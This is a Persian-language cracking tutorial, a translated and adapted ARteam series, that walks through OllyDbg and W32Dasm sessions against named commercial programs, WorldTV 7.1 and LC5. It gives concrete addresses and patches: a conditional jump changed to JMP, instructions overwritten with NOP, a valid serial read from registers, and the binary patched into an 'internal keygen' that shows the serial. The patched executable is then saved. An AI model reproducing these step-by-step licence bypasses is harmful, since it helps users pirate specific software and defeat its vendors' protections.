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  :مقدمه

  .به نام خداوند جان و خرد
 و كمك به بنده    وجهت  بابت    (www.unreal-rce.net) آنريل    در سايت  بمدر ابتدا جا دارد از دوستان خو      

  : تشكر عرض نمايم بخصوص از دوستان عزيزم در زمينه مهندسي معكوس
Newbie , android ,black.byte ,soda ,jnop790   و ديگر دوستاني كه اسامي آنهـا از خـاطرم 

  .رفته است
 معكوس ميباشد و بر اساس سري آموزشي    اين سري مقالات حاصل تلاش چندين ماهه بنده در امر مهندسي          

 ماه تهيه گشته است ولي بنا به 2 قسمت در طي 10تمامي اين .  ميباشدARteam قسمتي اساتيد سايت 10
د را در ضمن در آخر دو ضميمه وجود د اختيار دوستان قرار نخواهد گرفتدلايلي قسمت دهم اين مجموعه در    

  چند و جمع آوريترجمه ديگري ميباشد كه بصورت تجربي كسب كرده بودم و MEWكه يكي نحوه آنپك 
  . در سيستم عامل ويندوز ميباشدRING 0 نحوه نفوذ به  دربارهمقاله

 شروع كـار ترجمـه ايـن سـري     نحوه نوشتار اين سري مقالات بصورت ترجمه و تاليف ميباشد در واقع در بدو      
 و سـپس بـصورت      بـرم بسعي كردم تمامي مطالب نويسندگان اصلي را خود درك كنم و از آنها بهره كافي را                 

چهار قـسمت از ده قـسمت ايـن    . نوشتار ساده و با استفاده از تجربيات خود آنها را در اختيار دوستان قرار دهم     
ه شده بود و قسمتهاي بعدي نيز آماده ارائه بود ولـي بـه دليـل    سري بصورت جداگانه در سايت آنريل قرار داد       

برخي از تصميمات و عملي نشدن آنها و درضمن به دليل سفر علمي بنده به هندوستان نشر اين سـري         اتخاذ  
مقالات موجود بصورت ويرايش نشده  از نظر نثر پارسي ميباشد كه اميدوارم دوستان بـه           . كمي به تعويق افتاد   

  .ن بنده را عفو نمايندبزرگواري خودشا
تـا هنگـامي   : اينست براي استفاده از اين مجموعه فقط يك نكته اي كه ميتوانم به دوستان خاطر نشان كنم                 

  رادليل به كار رفته در آموزشها براي شما كشف نشده و دقيقاً مطلـب مـورد نظـر         كه دقيقاً چرايي و چگونگي      
 در زمينه مهندسي معكـوس بـه نظـر مـن مهمتـرين چيـز                نفهميده ايد بر روي آن مسئله فكر كنيد ، چرا كه          

استفاده از عقل خود ميباشد و اينكه هميشه سعي كنيد خود را به جاي برنامه نويسي كه برنامـه مـورد نظـر را      
  .نوشته است قرار دهيد و فكر كنيد در آن حالت از چه تكنيكي براي جلوگيري از نفوذ استفاده ميكرديد

به دليل تاخير و نثر ويرايش نشده بپذيريد، به دليل علاقـه بـه مبحـث برنامـه نويـسي                    در آخر پوزش بنده را      
و كمي وقت ديگر نميتوانم در اين زمينه فعاليتي انجـام   ) org.persianos.www://http(سيستم عامل   

 از تجربيـات شـما دوسـتان         و  به جمع شما عزيزان بپيوندم     بدهم اميدوارم در آينده نه چندان دور دوباره بتوانم        
  .استفاده كافي را ببرم

 
من االله توفيق و  

 سيد وحيد هاشمي
  تهران– 1385ارديبهشت 
  بنگلور- 1386فروردين 

  
  
  

http://www.persianos.org/
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   قسمت اولollydbgآموزش كركينگ با 
 April 2006 1385فروردين : تاريخ 

  serial fishingنوع حمله 
  ه شدهم ضميWorldTV 7.1: نرم افزار هدف 

  PEid 0.92 ollydbg 1.10 , wdasm32,:نرم افزارهاي مورد استفاده 
  مبتدي: سطح 

  
سلام اين مقاله اولين سري از ترجمه مقالات گابريل ميباشد البته خودم يكسري از مطالب رو كه گابريل توضيح نداده اسـت رو                       

  !!!! پس ميشه گفت تاليف دادمواضح تر توضيح
  

  .ار رو نصب ميكنيمخب اول نرم افز
بعد از نصب هميشه اولين كاري كه بايد بكنيم اينه كه اول بفهميم برنامه رو با چي نوشتن و با چي پك شده براي اينكار ميتونيد 

  . استفاده كردمPEid استفاده كنيد من اينجا از RDG Packer Detector و يا PEidاز نرم افزارهايي مانند 
  براي تست فايل استفاده كنيد ) open...( رو بندازيد توش و يا از دكمه WorldTV.exe و فايل  رو باز كردهPEidبرنامه 

  
  1شكل 

بعد از نصب يكبار برنامه رو اجرا كرده يك صفحه مياد كه ميگه سريال نامبر بده يه شماره همينجوري ميزنيم يـه پيغـامي ميـاد            
  : رو براتون مينويسماونو يادداشت ميكنيم براي راحتي كار من اون پيغام

Invalid Registration Code 
 رو انتخـاب كـرده و بعـد از اون    font گزينه disassembler رو باز كرده اول از همه از منوي فايل     w32dasmخب حالا   

 save default بعد فونتي كه باهاش راحتر هستيد رو انتخاب كنيد و بعد دوباره تو همون منو گزينـه   select fontگزينه 

font  رو بزنيد براي اينكه هميشه محيط w32dasmبا همين فونت باز بشه !  
 رو انتخاب كرده و آدرس جايي كـه برنامـه   .…open file رو زده و گزينه disassemblerخب بعد از اينكار دوباره منوي 

 رو انتخاب String Data Refrence گزينه Refs رو بازكنيد و از منوي WorldTV.exeرو نصب كرديد بديد و فايل 
  :كرده يك دايلوگ جديد باز ميشه مثل زير
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  2شكل 

از توي اين دايلوگ بگرديد تا اون رشته اي كه قبلاً يادداشت كرديد رو پيدا كنيد وقتي پيداش كرديد حالا روي اون دوبار كليك                   
و بسته شكلي همانند شكل زيـر خواهيـد        كنيد وقتي اينكار رو ميكنيد صفحه پشتي نوشته هاش عوض ميشه حالا اين دايلوگ ر              

  .ديد

  
  3شكل 

  
  
  

 آدرسها
دستورات 

 OPماشين يا 

code 

كدهاي 

disassembly 
  شده 
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  .آييم خب اينجا جايي هست كه وقتي ما كد اشتباه وارد ميكنيم به اين قسمت از برنامه مي
 pseudo codeحال ميخواهم كمي در مورد ساختار اين برنامه توضيح بدم توجه كنيد كه كدهايي كـه در زيـر ميبنيـد تمامـاً     

  و هيچ ربطي به كد اصلي برنامه ندارههست 
  فرض كنيم من كسي كه اين برنامه رو نوشته ميشناسم و اين كدها رو هم اون به من داده

  :وقتي برنامه شروع ميشه اين برنامه ميره يه جايي رو براي كد رجيستر ميگرده وقتي پيدا نكرد مياد داخل يه شرط مثل زير
If  found the register key then 
 Jump to start program address 
Else If not found the register key then 
 Jump to exit program address 
 Or goto evaluation procedure 
End if 

 هـست يكـي در بـالا در         jump توجه كنيد اون رشته مورد نظر ما بين دو دستور            3خب با توجه به شبه كد بالا دوباره به شكل         
 با توجه به توضيح بالا ميفهميم كـه   41B534و ديگري در پايين در آدرس ) اين آدرس رو يادداشت كنيد (41B515آدرس 

دستور پرش اول براي اجراي كد برنامه و پرش دوم براي خروج از آن هست خب حال بايد چه كنيم وقتي كه ما شماره سـريالي          
  در دست نداريم؟

خـب  . شرطي پرش اول بگوييم كه بايد هميشه اين شرط اجرا شده و پرش انجام شـود            بسيار ساده هست كافيست كه به دستور      
 را باز كرده و فايل مورد نظر        ollydbg رو بسته و برنامه      w32dasmبراي اينكار آدرس پرش اول را يادداشت كرده و برنامه           

  :را درون آن باز كرده مانند 

  
  

  4شكل 

  

  تخاب كرده و آدرسي را كه يادداشت كرده بوديم در آن وارد ميكنيم مانند  را انخب از جعبه ابزار بالا دكمه 
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  5شكل 

  

   به آدرس مشخص شده برود مانندolly كليك كرده تا okو روي دكمه 

  
  .خب اين نقطه جايي هست كه ما بايد اولين تلاش خود را براي كرك كردن برنامه بكنيم

ا كدهايي كه خود ميخواهيم اجرا شود بايد جابجا كنيم براي اينكار از سمت راست بر براي كرك كردن  برنامه كدهاي جاري را ب       
  :  دوباركليك كرده تا مانند شكل زير دايلوگي را ببينيدJNZروي ستون سوم يعني همانجايي كه نوشته شده است  

  
  6شكل 

  
  :يگزين كنيدخب حال دستورالعملي كه در اين دايلوگ قرار دارد را با اين دستورالعمل جا

JMP SHORT 0041B54C 
 

 دسـتور  6به شـكل   (EAXخب اين كد يعني چه؟ در كدي كه در خود برنامه وجود داشت پرش هنگامي انجام ميشد كه مقدار    
 (JMP)با دسـتور    (JNZ)صفر نشود ولي چون ما شماره سريال معتبر نداريم كافيست اين دستور را              )  توجه كنيد  JNZبالاي  

  . بدون شرط ميباشد جايگزين ميكنيمكه به معني پرش
حال براي ذخيره فايل كرك شده بر روي جايي كه سفيد ميباشد كليد سمت راست موس را فشار داده و مانند شـكل زيـر عمـل          

  :ميكنيم
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  7شكل 

  
  : را انتخاب كرده دايلوگي مانند زير خواهيد ديدall modificationsبعد گزينه 

  
  8شكل 

  
  :انتخاب كرده دايلوگي مانند زير خواهيد ديد را copy allگزينه 

  
  9شكل 

  : را انتخاب كنيدfile  save دوباره بر روي يك جاي سفيد دكمه سمت راست موس را بزنيد و مانند شكل زير گزينه
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  10شكل 

  
  !توجه كنيد حتماً فايل تغيير يافته را با نام ديگري غير از نام اصلي فايل ذخيره كنيد

   كليك ميكنيمvalidate زده و برروي دكمه textbox را در داخل 123456ا اجرا كرده و عدي مثل حال برنامه ر
  . ما موفق شديم پيغامي با اين مظمون مياد كه رجيستر كد ما مورد تاييد هستBingoبه قول خارجيهاي 

رو ميخـواد در واقـع مـا فقـط تونـستيم         خب حالا برنامه رو ببنديد و دوباره باز كنيد ميبينـيم كـه هنـوز از شـما كـد فعالـسازي                       
 ollydbgحال بايـد دوبـاره بـه    .دستورالعملهاي مربوط به چك كردن شماره سريال رو در فرم گرفتن شماره سريال خنثي كنيم 

  .مراجعه كرده و ببينيم به چه راه حلي ميتوانيم برسيم
  
  
  

  :براي كرك برنامه ها معمولاً دو راه وجود دارد
 سريالپيدا كردن شماره  •

  خنثي كردن كدهايي كه شماره سريال را كنترل ميكنند •

  
   رفته به همان طريقي كه قبلاً به آن اشاره شد41B515بعد از باز كردن برنامه كرك شده اولين كاري كه ميكنيم به آدرس 

 ـ    را زده ميبينيم كه آدرس مورد نظر بـه رنـگ قرمـز در مـي     F2وبعد از آن در همان جا دكمه         ي اينكـه هـر وقـت    آيـد ايـن يعن
ollydbg               به اين خط برسد اجراي دستورات را متوقف كرده و ما خواهيم فهميد كه برنامه به اين خط رسيده است خـب بـراي 

 را فـشار  validate وارد ميكنيم و دكمه textbox را فشار دهيد برنامه اجرا ميشود دوباره يك عدد در     F9اجراي برنامه كليد    
حالا بـراي اجـراي قـدم بـه قـدم      . ايم متوقف خواهد شد   زده F2 در آدرسي كه ما در آنجا        ollydbgه  ميدهيم بعد از چند لحظ    

  .ميبينيم كه برنامه خط به خط اجرا شده و ما ميتوانيم بر اجراي اون نظارت كنيم.  را فشار ميدهيمF8برنامه كليد 
   بعد از گرفتن سريال نامبر وارد رجيستيري ويندوز ميشود متوجه ميشيم كه برنامهF8بعد از چند خط اجراي قدم به قدم با دكمه 

  .خب حال ما متوجه شديم كه برنامه براي ذخيره شماره سريالها به رجيستري ويندوز مراجعه ميكند
  : متوجه مطلب زير ميشويم41B588در آدرس 

  
  11شكل 
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 ذخيـره ميـشود      تمامي تنظيمات اين برنامه    HKEY_CURRENT_USER\Software\\WORLDTVيعني در   
ازجمله شماره سريال آن خب با توجه به اين موضوع حال بايد كاري كنيم كه هرگاه برنامـه درخواسـت خوانـدن يـك مقـدار از                        

براي اينكـه در زمينـه كركينـگ    ( مطلع باشيم API به ما اطلاع دهد براي اينكار ما بايد از توابع ollydbgريجستري را كرد 
  ). را بشناسيد API لازم است توابع بهتر بتوانيد پيشرفت كنيد

  . ريستارت كنيد و كارهاي زير را انجام دهيدبرنامه را بوسيله 
 بگـوييم  ollydbg ميباشد خـب بـراي اينكـه بـه     ReqQueryValueExتابعي كه مقادير را از رجيستري ويندوز ميخواند        

و بعـد از آن گزينـه    search راست موس را زده و گزينه هرگاه اين تابع از طرف برنامه صدا زده شد به ما خبر بده دكمه سمت
all intermodular callsرا انتخاب كنيد مانند شكل زير :  

  

  
  12شكل 

 را تايپ كرده هنگامي كه تابع مورد نظـر يافـت            ReqQueryValueExصفحه مانند شكل زير ظاهر ميشود در اين صفحه          
 را ..set breakpoint on  every call to  Reqمربوطـه گزينـه   شد بر روي آن  كليك سمت راست كرده و از منـوي  

 برنامه را متوقف كرده و به مـا  ollydbgانتخاب كنيد با انتخاب اين گزينه باعث ميشود هركجا كه اين تابع دربرنامه صدا شود           
  .اطلاع دهد



 ١١

  
  13شكل 

 اجرا كنيد تا به اولين نقطه توقف برسـيد اولـين   F9ا با  را ببنيد حال برنامه ر     Intermodularبعد از انجام كارهاي بالا پنجره       
  : قرار دارد مانند شكل زير421A3Cنقطه در آدرس 

  
  14شكل 

  : توجه كنيدEDI به ثبات registersخب حال در قسمت 

  
  15شكل 

نـدين بـار   هاي ريجستري مربوط به برنامه ميباشـد چ entry اينها تمام    Recordings در آن هست بنام      ASCIIيك مقدار   
  .  را نشان دهدRegcode  مقدار EAX را فشار دهيد تا برنامه اجرا شود و آيكون آن را بتوانيد مشاهده كنيد و ثبات F9كليد 

 409BF3بعد از چند بار اجراي خط به خط بـه آدرسِ         .  آنقدر اجرا كنيد   F8بعد از آنكه متوجه اين مقدار شديد برنامه را با كليد            
 را ببينيد در واقع مقداري كه شما در برنامه وارد كرده ايد حال بار ديگر كليد ESI ميتوانيد مقدار Registersميرسيد در پنجره  

F8 در ثبات 00000000-00000000-00000000-00000000 را زده اينبار ميبينيم كه مقدار EDIقرار ميگيرد  
  

  
  16شكل 

 برسيد 409D59 را زده تا به آدرسِ F8رت باشد خب دوباره كليد پس ميتوان حدس زد كه شماره سريال برنامه بايد بدين صو   
 را فشار دهيد تا دوباره به همين آدرس برسيم خوب پس معلوم ميشود كه ما در يك حلقه هستم پـس ميتـوانيم در                        F8باز كليد   

 F9برنامه را بـا كليـد    را فشار داده و بعد از آن F2يكبار كليد ) در واقع جايي كه شرط حلقه چك ميشود        (409DDAآدرس  
دنبال كنيم چون ما در يك حلقه هستيم هرگاه كه برنامه به اين شرط ميرسد متوقف شده و كنترل برنامه در دسـت مـا خواهـد                          

 يك شماره در حال 409D86 حتماً متوجه خواهيد شد كه در آدرس  F9هنگامي كه در حلقه هستيم و در حال زدن كليد . بود
 هـست   EDI  كاراكتري كـه در حـال پـر شـدن در ثبـات      24 كاراكتر از 22ينكار آنقدر ادامه دهيد تا پر شدن هست خب حال ا   
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 برسـيد   409DDA دنبال كنيد تـا بـه آدرس         F8 كاراكتر كامل شد از اين به بعد برنامه رو با كليد             22كامل شود هنگامي كه     
ع اين حلقه بوسيله يك تايمر كنترل ميشود شما ميتوانيد شماره           حال شما يك شماره سريال داريد و ميتوانيد آنرا وارد كنيد در واق            

  : را نگه داريد تا خود متوجه قضيه بشويدF9سريالهاي ديگر هم بدست بياوريد براي بدست آوردن شماره هاي ديگر كافيست 

  
  17شكل 

  .خب اين كركينگ ديگر تمام شد
  

  :خواهد بدهيم و برنامه بدون هيچ مشكلي كار كندحال بياييم كاري كنيم كه هر شماره سريالي كه دلمان مي
 409DDA بـاز كـرده و در آدرس   olldbgفرض كنيم شما شماره سريال بدست آورده را وارد كرده ايد دوبـاره برنامـه را بـا       

حـال برنامـه را بـا     آنقدر اجرا كرده تا به اواخر برنامه برسيم F9 ميزنيم و دوباره برنامه را مانند توضيحات بالا با       F2دوباره يك   
F8     409 دنبال كرده تا به آدرسDF4              برسيم در اينجا يك شرط وجود دارد كه هنگامي اجرا ميشود كه مقـدار شـماره سـريال 

 بـه  NOPدستورالعمل  ( NOPموجود در رجيستري برابر با صفر باشد خب حال دوبار برروي آن كليك كرده و مقدار آن را با 
 يك پرش ديگـر وجـود   409DF8عوض كنيد حال در آدرس ) كاري انجام نشود ميباشد يعني هيچNo Operationمعني 

دارد كه هنگامي انجام ميشود كه تمام شماره سريال چك شده باشد و درست باشد خب براي اينكه اين پرش را از حالت شرطي               
  . برنامه قبول ميكند جايگزين كنيد خب حال هر چه شما وارد كنيد JMP را با پرش JEخارج كنيم كافيست پرش 

  :براي روشنتر شدن موضوع به دو عكس زير توجه كنيد
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   قبل از كرك شدن18شكل 

  
  بعد از كرك شدن19شكل 

  
  
  
  

  پايان
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  دوم قسمت ollydbgآموزش كركينگ با 
 April 2006 1385فروردين : تاريخ 

  Internal Keygen and Patchingنوع حمله 
   ه شدهم ضميLC 5 : نرم افزار هدف 

   , DUP 2.0,PEid 0.92 ollydbg 1.10:نرم افزارهاي مورد استفاده 
  مبتدي: سطح 

  
  

  .خب اول نرم افزار رو نصب ميكنيم
 بعد از نصب هميشه اولين كاري كه بايد بكنيم اين هست كه اول بفهميم برنامه رو با چي نوشتن و با چي پك شده براي اينكار                         

  . استفاده كردمPEid استفاده كنيد من اينجا از RDG Packer Detector و يا PEidميتونيد از نرم افزارهايي مانند 
  براي تست فايل استفاده كنيد ) open...( رو بندازيد توش و يا از دكمه LC5.exe رو باز كرده و فايل PEidبرنامه 

  
  1شكل 

  

 باز شده و سه گزينه به شما نشان داده ميشود خب طبق معمول گزينه nag خب حال برنامه رو اجرا مكنيم يك صفحه
register را انتخاب ميكنيم يك دايلوگ ديگر باز شده و از ما شماره سريال ميخواهد خب مثل هميشه ما سريال نامبر اصلي 

. ينيم چه پيغامي نمايش داده ميشود كليك ميكنيم تا ببok ميزنيم و روي گزينه 123344پس يك عدد مثلاً ! برنامه را نداريم
  :  باز شده و حاوي متن زير ميباشدmessage boxيك 

You have entered an invalid code. Please try again. 
  

  .اين متن رو يادداشت ميكنيم و برنامه رو ميبنديم
 و search for را زده و گزينـه  دكمه سمت راست موس. را در آن باز ميكنيمLC5.exe را باز كرده و فايل ollydbgحال 

  : را انتخاب ميكنيمall referenced text stringsبعد از آن گزينه 
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  2شكل 

 باز شده نوار پيماش را به بالا برده و بر روي اولين گزينه كليك كنيد ماننـد شـكل   Text Strings Referencedدايلوگ 
  :زير

  
  3شكل 

 بصورت بالا به پايين عمل جستجو را انجام ميدهد و از            ollydbgام بدهيد بدين دليل كه      توجه كنيد كه حتماً بايد اينكار را انج       
  .جايي اين عمل انجام ميگيرد كه شما آنجا را انتخاب كرده باشيد

 را انتخاب كرده و متن را كه يادداشت نموديد Search for Textخب حال در اين دايلوگ دكمه سمت راست را زده و گزينه 
  :رد كنيد مانند شكل زيردر آن وا
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  4شكل 

.  4108BD بـه آدرس   يعنـي   شما را بر روي رشته مورد نظر برده        ollydbg كليك كنيد    okخب هنگامي كه بر روي دكمه       
خب حال برروي آن آدرس دابل كليك كنيد شما بر روي آن آدرس قرار ميگيريد كمي نوار پمايش را بالاتر ببريد متوجه خواهيد                       

 دارد خـب مـا ميخـواهيم ايـن برنامـه را بـه نـسخه        basic ,professional ,administratorر سه نـسخه  اين نرم افزا
administrator        تبديل كنيم خب با كمي دقت به قسمتي كه كه برنامه بصورت administrator   ثبـت ميـشود در آدرس 

41082A متوجه دستور TEST EAX,EAXيـك مقـداري در حـال مقايـسه      ميشويم اين دستور به اين معنا ميباشد كه 
  : زير توجه كنيد pseudo codeميباشد براي تفهيم بيشتر به 

If user s/n = original s/n then 
 Save user s/n 
 Goto line n if the user S/N is not matched 
End if 
 

   اين كد مشابه زير خواهد بودdisassemblyخب كد 
  

TEST EAX,EAX 
Push EBX 
JNZ line n 

   مقدار داده شده با مقدار مرجع چك ميشودdisassemblyدر خط اول كد 
  در خط دوم مقدار پارامتر اول ذخيره ميشود

  .در خط سوم اگر مقدار پارامتر اول برابر با شماره سريال اصلي نشد به خط مورد نظر پرش ميكند
  

 اجـرا ميكنـيم وقتـي       F9 و بعد برنامه را با دكمه         را ميزنيم  F2 رفته و دكمه     41082Aخب حال با اين توضيح بر روي آدرس       
 كليـك كـرده اينبـار    ok كليك كرده و دوباره يك شماره سـريال زده و بـرروي دكمـه     registerبرنامه اجرا شد برروي دكمه      

ollydbgكه ما ي در آدرس breakpoint گذاشته ايم توقف كرده حال يكبار دكمه F8 را زده و اينبار به پنجره registers 

  : توجه كنيد مانند شكل زير
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  5شكل 

اين مقدار را ) توجه كنيد اين مقدار در كامپيوتر شما متفاوت خواهد بود( متوجه مقداري خواهيد شدEDX و  ECXدر ثباتهاي 
 كليـك كـرده يـك دايلـوگ         ok مربوط به رجيستر كردن برنامه وارد نماييد حال  برروي دكمه             textboxيادداشت كرده و در     

  . برنامه را به شما تبريك ميگوييدنيد بازشده و رجيستر شدجد
  بسيار آسان بود؟

خب تا اينجا ديديم شماره سريال چگونه ساخته ميشود حال ميخواهيم كاري كنيم كه بتوانيم اين شماره سريال را به يك كـاربر                 
  .معمولي نشان داده و به او بگوييم كه اين شماره سريال برنامه شما ميباشد

 شـويم  registry windows را تايپ كرده تا وارد محيط regedit را انتخاب كرده و run گزينه startاي اينكار ابتدا از بر
  :در آنجا به آدرس 

HKEY_CURRENT_USER\Software\@stake\LC5\Registration 
 خـارج  Regedit زده و از  راOK دابل كليك كرده و محتوي آنرا پاك كـرده و گزينـه   Unlock Codeرفته برروي گزينه 

 internal keygenشويد اينكار را به اين دليل انجام ميدهيم كه ميخواهيم بر روي هدفمان دوباره كار كرده و در واقع يـك  
 ساختن رايج نبوده و كاري حرفه اي نميباشد ولي براي يـادگيري مقـدماتي تمـرين     keygenالبته اينگونه   .بر اساس آن بسازيم   

  ايم  درآوردهunregisteredبه همين دليل برنامه را دوباره به حالت . ودخوبي خواهد ب
  :خب قبل از شروع كار ما بايد اهداف خود را مشخص كنيم

 كد فعال سازي كجا ساخته ميشود و در كجا ذخيره ميشود .1

 راهي براي نشان دادن اين كد بايد پيدا كرد .2

 فعالسازي برنامه ميباشدبايد به كاربر دقيقاً اطلاع دهيم كه اين كد ، كد  .3
  

قـدم  ( ذخيـره ميگـردد   ECX,EDX ساخته شده و در ثباتهـاي    41082Aما همچنين ميدانيم كه كد فعال سازي در آدرس          
  )اول

  .قدم بعدي نشان دادن اين كد به كاربر ميباشد
 اجـرا  F9رنامه را با كليـد   را زده و دوباره ب    F2 كليد   41082A ريستارت كرده و در آدرس       ollydbgخب دوباره برنامه را در      

  .كنيد
  . بر روي آدرس مورد نظر توقف كندollydbg را انتخاب و يك شماره اشتباه وارد كنيد تا registerدر برنامه دوباره كليد 
  . دنبال كنيدF8 حال برنامه را با كليد EDX و  ECX دقت كنيد مخصوصاً ثباتهاي registersخب دقيقاً به پنجره 

   ميرسيم يعني دستور 4108B2نگامي كه به آدرس ميبينيد كه ه
XOR ECX,ECX 

  ) به يك كتاب برنامه نويسي مراجعه كنيدXORبراي اطلاع بيشتر در مورد عملگر ( صفر خواهد شدECXمقدار 
  : داريم4108B4در آدرس 

MOV DWORD PTR SS:[ESP+14],ECX 
   خواهد شدEDXكه اين آدرس هم باعث از بين رفتن مقدار 
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   داريم4108B8آدرس در 
PUSH EBX 

  . حاوي يك مقدار ميباشدEBX را در پشته قرار ميدهد ثبات EBXكه ثبات 
براي اطلاع بيشتر از كـاركرد پـشته بـه        (پشته جايي از حافظه ميباشد كه مقاديري كه ميخواهيم ذخيره كنيم در آن قرار ميگيرد                

  )مستندات اسمبلي مراجعه كنيد
  : به پنجره سمت چپ پايين توجه كنيد مانند شكل زيرollydbgبراي ديدن پشته در 

  
  6شكل 

  : داريم4108B9در آدرس 
MOV DWORD PTR SS:[ESP+1C],ECX 

  . ميشودEDXكه بازهم اين مقدار باعث از بين رفتن مقدار ثبات 
  : داريم4108C2و در آخر در آدرس 

MOV BYTE PTR SS:[ESP+24],CL 
  . ما ميشودEDXرفتن ثباتها كه اين دستور هم باعث از بين 

  
به اين نكته توجه داشته باشيد كه بايد كاري كنيم كه بعد از اينكه شماره سريال اصلي برنامه در ثباتهاي                    

ECX  و يا   EDX  شد بايد يكي از اين ثباتها اين مقدار را نگه داشته تا ما بتوانيم آنرا بـه كـاربر   ذخيره

  .نهايي نشان دهيم

  
 عوض NOPهايي كه باعث از بين رفتن مقدار ثباتهاي ما ميشود رفته و دستورالعملهاي آنها را با دستورالعمل خب حال در آدرس 

  .ميكنيم
  :يعني در آدرسهاي

• 4108B4 
• 4108B9 
• 4108C2 

  
براي يادآوري براي عوض كردن دستورالعملها بر روي آدرسهاي مورد نظر رفته از سمت راست برروي ستون سوم دابـل كليـك                     

  . را جايگزين ميكنيمNOP در دايلوگي كه باز ميشود دستورالعمل جاري را پاك كرده و دستورالعمل كرده
  . در اين دايلوگ حتماً انتخاب شده باشد والا برنامه دچار مشكل ميشودFill with NOP'sتوجه داشته باشيد كه گزينه 
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  :واهكمي توضيح  در رابطه با جايگزين كردن دستورالعملهاي دلخ
  :شايد از آموزش قبل متوجه شده باشيد كه هنگامي كه يك دستورالعمل را براي مثال دستورالعمل 

MOV DWORD PTR SS:[ESP+1C],ECX 
  :آيد  برگردانده ميشود به صورت زير درميopcodeاين دستور هنگامي كه به دستورات ماشين يعني 

894C24 1C 
  . كاراكتر ميباشدopcode 8خب طول اين 

   NOP مربوط به opcode جايگزين كنيم، NOPب حال فرض كنيد كه ما ميخواهيم اين دستورالعمل را با دستورالعمل خ
90 

   كاراكتر طول دارد2ميباشد و 
ها را opcodeهاي يك برنامه هستيم بايد به همان اندازه از opcodeو اين را هم بايد بدانيم هنگامي كه در حال ويرايش 

  .و نه بيشتر و نه كمتر والا برنامه خراب شده و ديگر كار نميكند) نظر طولاز (تغيير دهيم 
   را جايگزين كنيم يعنيNOP دستورالعمل 4 ما بايد NOPخب پس با اين اوصاف براي تغيير دستورالعمل بالا با دستورالعمل 

90909090  
  

  :انند شكل زير خواهيم داشت مNOPخب پس از تغيير دادن آدرسهايي كه در بالا به آنها اشاره شد با 
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   را دست نخورده نگه داريمEDXخب حال ما تا اينجا موفق شديم كه مقدار ثبات 
   اجرا كنيدF8 را با 4108C5خب برنامه را دقيقاً تا آدرس 

   را به كاربر نشان دهيم چگونه؟EDXحال بايد مقدار 
  : توجه كنيد دستور4108BDبه آدرس 

PUSH 4D63D4 
  :دار اين دستور برابر است با و مق

You have entered an invalid code. Please try again 
 را عوض كرده و بجاي اينكه اين دستورالعمل مقدار برنامه را نشان دهد مقدار ثبات 4108BDحال بايد دستورالعمل آدرس 

EDX 4108 را نشان دهد براي اينكار برروي آدرسBDه و دستورالعمل زير را جايگزين كنيد ستون سوم دابل كليك كرد:  
PUSH EDX 

  : زير خواهيم شدmessage box را زده و متوجه F8حال بار ديگر 

  
  8شكل 
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خب ما موفق شديم كه قدم دوم را هم برداريم حال تنها كاري كه مانده اينست كه به كاربر معمولي اعلام كنيم اين شماره 
  .سريال شما ميباشد آنرا وارد كنيد

  . ميباشدtitle  قسمت messageboxترين جايي كه ميتوان اينكار را انجام داد در  به
  

 را انتخاب copy to Executable دكمه سمت راست موس را زده و گزينه ollydbg ذخيره ميكنيم بر روي  راحال برنامه
باره سمت راست موس را در دايلـوگ   و بعد از آن دوCopy all و بعد از آن دكمه  all modificationsكرده و بعد از آن 

  . را انتخاب كنيدSave Fileجديد زده و گزينه 
  .توجه كنيد اسم فايل را متفاوت از اسم فايل اصلي انتخاب كنيد

  

  MessageBoxكمي درباره تابع 
  توان استفاده كرداي مي  اين تابع يك تابع داخلي ويندوز بوده و از آن براي نشان دادن پيغامهاي ويندوز در هر برنامه-  
  اين تابع مانند بقيه توابع استاندار پارامترهايي دارد كه بعضي از آنها اختياري و بعضي از آنها اجباري ميباشند-  
  :پارامترهاي اين تابع عبارتند از-  

HWND hwnd 
  .شماره اي كه مشخص كننده دايلوگي ميباشد كه تابع را صدا زده-    

LPCTSTR lpText 
  ي كه در وسط نشان داده خواهد شدآدرس متن-    

LPCTSTR lpCaption 
   نشان داده خواهد شدmessageboxآدرس متني كه در بالاي -    

UNIT uType 
  messageboxمدل -    

  
 search باز كرده دكمه سمت راسـت مـوس را زده گزينـه     ollydbgخب حال فايلي را كه تغييرات آنرا ذخيره كرده ايم در 

for بعد از آن گزينه  را انتخاب وall intermodular calls     را انتخاب كرده و در دايلوگ جديد كه بـاز شـده تايـپ كنيـد 
messagebox تا بر روي اين توابع قرار گيريد بعد برروي يكي از اين توابع دكمه سمت را زده و گزينه set breakpoint 

on every call to messageboxaر را انتخاب كنيد مانند شكل زي:  
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 كليك كرده و دوباره يك شماره register اجرا كنيد و دوباره برروي گزينه F9 خب حال اين پنجره را بسته و برنامه را با كليد
 برنامه متوقف شده حـال بـه پنجـره پـشته      48D598 برنامه رو متوقف كرده و در آدرس         ollydbgسريال اشتباه وارد نماييد     

  :توجه كنيد
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  10شكل 

  . خب حال ما بايد اين رشته را با رشته اي دلخواه تغيير دهيمLC5 برابر است با titleبينيد كه مقدار مي
خب چون ما نميتوانيم هرآنچه كه دلمان ميخواهد در برنامه بنويسيم بايد جايي را جستجو كـرده كـه كـدهاي كليـدي را در آن                          

براي اينكار بهتـرين راه اينـست كـه         . كرده تا به مقصودمان برسيم     قسمت نبوده و آن كدهاي قديمي را با كدهاي خود جايگزين          
  !اي برخورد ميكنيم يا نه برنامه را چند خط بالاتر از آدرسي كه الان در آن قرار داريم دنبال كنيم تا ببينيم آيا به نكته

  

  :به نكته زير توجه كنيد
  

 كـرديم نتيجـه   override خـود  PUSH EDXسـتور   را بـا د 4108BDاگر از قسمت قبل به ياد داشته باشيد مـا آدرس  
  :ميگيريم كه يك رشته به مضمون 

You have entered an invalid code. Please try again 
 

   قرار داردlc5.004D63D4بلا استفاده باقي مانده است كه اين رشته دقيقاً در آدرس 

  
  .يماش را به بالا ميكشيم رفته و كمي نوار پ48D598به آدرس .  برنامه را ريستارت كنيد

 جلب ميشود در واقع در اين آدرس يك پرش وجود دارد كه هيچگاه اجرا نميـشود                4BD56Fمان به آدرس      با كمي دقت توجه   
  !)يا حداقل تا اين زمان اجرا نشده است(

 برسيم از اين 48D56F اجرا كرده تا به آدرس F9 ميگذاريم برنامه را دوباره با breakpoint يك F2در اين آدرس بوسيله 
   دنبال كردهF8به بعد برنامه را با 

  : دستورالعمل زير قرار دارد4BD571در آدرس 
MOV EDI,DWORD PTR DS:[ECX+4C] 

  : ميشود مانند شكل زيرLC5 برابر با EDIبا كمي دقت درميابيم كه دراين آدرس مقدار 

  
  11شكل 

  !گيرد در اينجا شكل ميmessagebox براي titleدر واقع 
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   را تغيير دهيم اما چگونه؟titleخب ما اينجا ميتوانيم 
